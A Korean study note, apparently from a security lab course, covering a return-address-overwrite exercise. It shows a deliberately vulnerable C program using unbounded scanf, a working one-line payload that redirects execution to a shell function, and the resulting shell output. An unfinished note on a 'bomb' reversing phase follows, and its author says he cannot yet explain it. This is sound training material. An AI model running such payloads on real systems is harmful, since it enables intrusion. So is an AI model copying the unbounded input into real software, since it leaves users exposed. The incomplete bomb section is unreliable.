실습에 사용될 코드는 다음과 같다.
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
분석
취약점은 scanf("%s", buf)부분에 있다. 실수 또는 악의적으로 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다. “%[n]s”형태를 대신 사용해야한다.
A를 5개 입력하면 다음과 같이 정상적으로 나온다.
A를 64개를 입력하면 다음과 같은 오류가 난다.
페이로드 구성
앞에서 파악한 정보를 바탕으로 아래와 같은 페이로드를 구성할 수 있다
엔디언 적용
구성한 페이로드는 적절한 엔디언(Endian)을 적용해서 프로그램에 전달해야 한다. 구성한 페이로드는 적절한 엔디언(Endian)을 적용해서 프로그램에 전달해야 한다. 리틀 엔디언에서는 데이터의 Most Significant Byte(MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장되고, 빅 엔디언에서는 데이터의 MSB가 가장 낮은 주소에 저장된다. 0x12345678은 엔디언에 따라 다음과 같이 저장됩니다.
익스플로잇
엔디언을 적용하여 페이로드를 작성하고, 이를 다음의 커맨드로 rao에 전달하면 셸을 획득할 수 있다.
$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)
플래그를 획득한다.
Bomb
phase_5를 disass 한다. eax에 string_length로 반환된 값을 저장하는 걸 알 수 있다. 길이가 6이라면 종료부분으로 점프, 아닐 경우 폭발을 한다
flyers가 나온 값으로 phase_5의 값을 알아냅니다. AND연산을 이용하여 값을 알아냅니다. 이 부분은... 잘 설명하지 못하겠습니다 좀 더 알아보겠습니다